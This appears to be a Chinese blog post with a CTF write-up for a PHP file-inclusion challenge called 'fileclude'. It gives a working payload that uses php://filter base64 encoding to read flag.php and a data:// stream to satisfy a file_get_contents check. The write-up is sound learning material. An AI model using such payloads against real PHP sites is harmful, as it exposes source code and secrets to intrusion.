首页 > 其他分享 >fileclude

fileclude

时间:2023-11-06 11:11:25浏览次数:25  
标签:file2 file1 fileclude flag 20ctf php data

打开界面是一篇源代码

看到有flag.php文件,直接打开出现错误提示,看来只能用编码读取数据了

 

需要传入file1和file2

  • file1编码读取flag.php的内容
  file1=php://filter/read=convert.base64-encode/resource=flag.php
  • file2显示为hello ctf

  (file_get_contents是将文件中数据提取为字符串的函数,它与inclue()一样参数为文件名,所以直接file2=hello%20ctf行不通,要用data://协议构造数据流,使它当作php文件,%20为空格的编码)

file2=data://text,plain,hello%20ctf

所以最后的payload为?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

标签:file2,file1,fileclude,flag,20ctf,php,data
From: https://www.cnblogs.com/lhqrusht0p/p/17812232.html

相关文章